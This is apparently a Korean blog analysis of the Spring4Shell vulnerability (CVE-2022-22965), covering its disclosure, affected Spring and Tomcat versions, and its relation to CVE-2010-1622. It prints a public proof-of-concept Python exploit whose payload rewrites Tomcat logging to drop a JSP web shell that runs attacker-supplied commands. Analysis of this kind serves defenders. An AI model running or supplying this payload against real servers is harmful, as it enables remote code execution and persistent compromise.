CVE-2022-22965 란?

CVE-2022-22965는 Spring4Shell 취약점으로 알려져 있으며, 제 2의 Log4Shell(Log4j)라고도 불리는 취약점이다. Spring4Shell이라고 불리는 이유는 Log4Shell과 같은 큰 파급력으로 강력한 취약점이 될 것 같다는 의미 때문이다. 하지만 Spring4Shell은 Log4Shell과는 어떠한 관련도 없다. 취약점의 위험성을 평가하는 지표인 CVSS 점수는 10점 만점으로 측정되는데 CVSS 9.8이 해당 취약점에 부여되었다.

현재 전자정부 프레임워크에서 Spring을 전적으로 사용하고 있는데, 해당 취약점이 Spring에서 발생하는 취약점이기 때문에 많은 소프트웨어에서 사용되고 있다. CVE-2022-22965Spring에서 사용하는 Spring Core 프레임워크에서 원격 코드 실행(RCE) 취약점이 발견되었다. CVE-2022-22965 취약점과 같이 떠오르게된 Spring 취약점들이 있고, 아래와 같다.

현재 많은 보안 분석가가 Spring4Shell 취약점에 대해서 이야기를 하는데, Spring4Shell 취약점은 CVE-2022-22965를 의미하는 용어이다. 하지만 Spring4Shell 취약점에 대해서 검색해 보면 CVE-2022-22963 취약점 내용이 많이 나오기 때문에 분석가들은 이점을 참고하기 바란다.

처음 Spring4Shell 취약점 정보가 공개된 곳은 twiter로 중국에 위치한 보안 연구원이 글을 작성하였다.

Untitled

위와 같이 Alvaro Munoz 라는 연구원이 Spring4Shell이라고 불리는 새로운 Spring을 활용한 RCE 공격을 당했다고 트위터 글을 올렸다. Log4j 와 같은 JNDI 공격과 불안전한 역직렬화를 이용한 공격이 아니며, ClassLoader 조작 공격이라고 이야기 하였다. 공격 대상의 JRE 버전은 9버전이였으며, Spring MVC 앱을 실행할 때 웹쉘을 설치할 수 있다고 이야기 한다. 불안전한 역직렬화를 이용한 공격이 아니다 라고 이야기한 이유는 CVE-2022-22963 취약점인 Spring Cloud Function 취약점과 혼동을 하지 말라는 의미에서의 이야기 인것 같다.

위의 트위터 글은 올리온지 얼마 안되서 글 삭제가 되었고, 해당 글을 본 보안 연구원들이 아래와 같이 해당 글을 확인 후 POC와 같은 취약점 테스트 코드를 공유하여 분석을 진행하였다.

Untitled

Janggggg 계정을 가진 보안 연구원은 Java SpringCore RCE 취약점을 확인했다는 글을 올린 바도 있다. Janggggg 뿐만 아니라 다른 여러 보안 연구원들도 해당 취약점을 확인했다는 글이 많이 올라와있다.

CVE-2022-22965 취약점의 버전은 Spring Framework 5.2.19 이하 버전과 Spring Framework 5.3.17 이하 버전이다. JDK 9+를 실행하는 Spring MVC 및 Spring WebFlux 애플리케이션, 그리고 Servlet 컨테이너로 Apache Tomcat에서 실행되는 애플리케이션이 포함된다. 또한 모든 버전의 Spring Core(Spring ≤ 5.3.17)가 영향을 받는다.

해당 취약점은 2010년에 발생한 CVE-2010-1622 취약점과 비슷한 부분이 존재한다. CVE-2010-1622의 우회 공격이 이번에 발표된 CVE-2022-22965 취약점이다. RCE을 초래할 수 있는 특수하게 조작된 HTTP 요청을 보내 악용될 수 있다.

해당 취약점의 공격 페이로드를 확인해 보면 아래와 같다. 아래의 공격 페이로드는 공개되어 있는 POC 들에서 사용되는 공격 페이로드 이다.

import argparse
from urllib.parse import urljoin

def Exploit(url):
    headers = 
		{
				"suffix":"%>//",
	      "c1":"Runtime",
	      "c2":"<%",
	      "DNT":"1",
	      "Content-Type":"application/x-www-form-urlencoded"
    }
    data = 
						class.module.classLoader.resources.context.parent.pipeline.
						first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)
						))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().
						exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20
						int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20
						while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20
						%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
						&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
						&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
						&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
    try:
        go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
        shellurl = urljoin(url, 'tomcatwar.jsp')
        shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
        if shellgo.status_code == 200:
            print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami")
    except Exception as e:
        print(e)
        pass

Spring4Shell 취약점공격은 공격 할 때 Apache Tomcat에서 사용하는 classLoader 기능을 통해 Tomcat의 로깅을 하는데, 해당 로깅 구성을 수정하고 임의 코드 실행을 할 수 있다.

위의 공격 페이로드가 무슨 역할을 하는지 공부하기 이전에 사전으로 알아두면 취약점 분석에 이해를 돕는 정보를 먼저 공부해 보자. (ex. Spring Core, Apache Tomcat classLoader, etc)

Spring Core 란?

Spring Core는 최신 Java 웹 애플리케이션을 구축하기 위한 매우 인기 있는 Java Spring 프레임워크이다. Spirng Framework는 자바 엔터프라이즈 개발을 위한 오픈 소스 애플리케이션 프레임워크로서 간단히 스프링이라고 하며, 동적인 웹 사이트를 개발하기 위한 여러가지 서비스를 제공하고 있다.